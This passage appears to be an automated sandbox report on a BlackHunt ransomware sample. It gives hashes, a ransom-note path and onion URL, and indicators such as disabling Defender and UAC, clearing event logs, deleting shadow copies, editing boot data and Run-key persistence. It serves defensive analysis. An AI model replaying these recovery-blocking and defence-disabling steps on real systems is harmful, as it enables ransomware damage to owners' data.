Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
118s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 22:10
Static task
static1
Behavioral task
behavioral1
Sample
2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
Resource
win10v2004-20231222-en
General
-
Target
2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
-
Size
707KB
-
MD5
757a3aba290567376fa0b21fc14656e0
-
SHA1
f511eceb9f89291dead1bc39f3de9182edfbef99
-
SHA256
2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be
-
SHA512
6f59a10a37aea79537cc79e919b33b4afc17f0eef90a8cdd819ee19e55c95f75c03f388eecb6477085607e485eaff46c2c66475eb7cd5627335acb533e149bf9
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1C85vnh:6uaTmkZJ+naie5OTamgEoKxLW59h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1164 fsutil.exe 1108 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 960 wevtutil.exe 1604 wevtutil.exe 1240 wevtutil.exe 544 wevtutil.exe 1816 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 568 bcdedit.exe 1620 bcdedit.exe 2856 bcdedit.exe 1032 bcdedit.exe -
Renames multiple (2872) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 2816 wbadmin.exe 1104 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Deletes itself 1 IoCs
pid Process 2656 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\B: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\N: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\R: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\O: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\V: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\W: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\E: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\U: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\P: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\I: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\G: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\K: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\Z: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\Y: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\A: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\H: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\S: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\J: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\L: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\M: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\T: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened (read-only) \??\X: 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_photo_Thumbnail.bmp 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\CET 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_ReadMe.hta 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\AddResolve.AAC 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Montevideo 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_Private.key 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_ReadMe.hta 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\7-Zip\Lang\an.txt 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPHandle.png 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jre7\lib\psfont.properties.ja 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#BlackHunt_Private.key 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\#BlackHunt_ReadMe.txt 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\lua\extensions\#BlackHunt_ReadMe.txt 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_ReadMe.hta 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Hebron 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\WaitConvert.ini 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Reykjavik 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Singapore 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tahiti 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-attach.xml 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_ReadMe.txt 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\abcpy.ini 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Tijuana 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Cocos 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\index.gif 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-attach.xml 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_ReadMe.txt 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\plugins\services_discovery\#BlackHunt_ReadMe.txt 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\acro20.lng 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationLeft_ButtonGraphic.png 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\MANIFEST.MF 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_Private.key 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Mauritius 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\#BlackHunt_ReadMe.txt 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk15\#BlackHunt_Private.key 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-util-lookup_ja.jar 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-templates_zh_CN.jar 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\locale\he\#BlackHunt_ReadMe.hta 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_streams.luac 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Mawson 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-masterfs-nio2.xml 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-host-views.xml 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\#BlackHunt_ReadMe.txt 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_LOOP_BG.wmv 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\artifacts.xml 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.core_5.5.0.165303.jar 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql.nl_zh_4.4.0.v20140623020002.jar 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-execution_ja.jar 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\#BlackHunt_ReadMe.txt 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\locale\oc\#BlackHunt_ReadMe.hta 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_Private.key 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_ReadMe.hta 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationUp_SelectionSubpicture.png 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\dblook 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Oral 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Singapore 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\#BlackHunt_ReadMe.txt 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\Google\#BlackHunt_Private.key 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\.data\#BlackHunt_ReadMe.hta 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.resources_3.9.1.v20140825-1431.jar 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\launcher.win32.win32.x86_64.properties 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2900 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2440 vssadmin.exe 2712 vssadmin.exe 2404 vssadmin.exe 1256 vssadmin.exe 2968 vssadmin.exe 2832 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 1664 taskkill.exe -
Modifies registry class 10 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1732 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2652 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe Token: SeRestorePrivilege 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe Token: SeBackupPrivilege 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe Token: SeTakeOwnershipPrivilege 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe Token: SeAuditPrivilege 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe Token: SeSecurityPrivilege 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe Token: SeIncBasePriorityPrivilege 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe Token: SeBackupPrivilege 1976 vssvc.exe Token: SeRestorePrivilege 1976 vssvc.exe Token: SeAuditPrivilege 1976 vssvc.exe Token: SeBackupPrivilege 2716 wbengine.exe Token: SeRestorePrivilege 2716 wbengine.exe Token: SeSecurityPrivilege 2716 wbengine.exe Token: SeSecurityPrivilege 1240 wevtutil.exe Token: SeBackupPrivilege 1240 wevtutil.exe Token: SeSecurityPrivilege 1816 wevtutil.exe Token: SeBackupPrivilege 1816 wevtutil.exe Token: SeSecurityPrivilege 960 wevtutil.exe Token: SeSecurityPrivilege 1604 wevtutil.exe Token: SeBackupPrivilege 960 wevtutil.exe Token: SeBackupPrivilege 1604 wevtutil.exe Token: SeSecurityPrivilege 544 wevtutil.exe Token: SeBackupPrivilege 544 wevtutil.exe Token: SeDebugPrivilege 1664 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2912 wrote to memory of 2764 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 29 PID 2912 wrote to memory of 2764 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 29 PID 2912 wrote to memory of 2764 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 29 PID 2912 wrote to memory of 2764 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 29 PID 2912 wrote to memory of 2772 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 30 PID 2912 wrote to memory of 2772 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 30 PID 2912 wrote to memory of 2772 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 30 PID 2912 wrote to memory of 2772 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 30 PID 2912 wrote to memory of 2788 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 31 PID 2912 wrote to memory of 2788 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 31 PID 2912 wrote to memory of 2788 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 31 PID 2912 wrote to memory of 2788 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 31 PID 2912 wrote to memory of 2648 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 35 PID 2912 wrote to memory of 2648 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 35 PID 2912 wrote to memory of 2648 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 35 PID 2912 wrote to memory of 2648 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 35 PID 2912 wrote to memory of 2928 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 36 PID 2912 wrote to memory of 2928 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 36 PID 2912 wrote to memory of 2928 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 36 PID 2912 wrote to memory of 2928 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 36 PID 2912 wrote to memory of 2396 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 38 PID 2912 wrote to memory of 2396 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 38 PID 2912 wrote to memory of 2396 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 38 PID 2912 wrote to memory of 2396 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 38 PID 2912 wrote to memory of 2924 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 40 PID 2912 wrote to memory of 2924 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 40 PID 2912 wrote to memory of 2924 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 40 PID 2912 wrote to memory of 2924 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 40 PID 2912 wrote to memory of 2716 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 43 PID 2912 wrote to memory of 2716 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 43 PID 2912 wrote to memory of 2716 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 43 PID 2912 wrote to memory of 2716 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 43 PID 2912 wrote to memory of 2692 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 44 PID 2912 wrote to memory of 2692 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 44 PID 2912 wrote to memory of 2692 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 44 PID 2912 wrote to memory of 2692 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 44 PID 2912 wrote to memory of 2868 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 46 PID 2912 wrote to memory of 2868 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 46 PID 2912 wrote to memory of 2868 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 46 PID 2912 wrote to memory of 2868 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 46 PID 2912 wrote to memory of 2228 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 48 PID 2912 wrote to memory of 2228 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 48 PID 2912 wrote to memory of 2228 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 48 PID 2912 wrote to memory of 2228 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 48 PID 2912 wrote to memory of 2572 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 50 PID 2912 wrote to memory of 2572 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 50 PID 2912 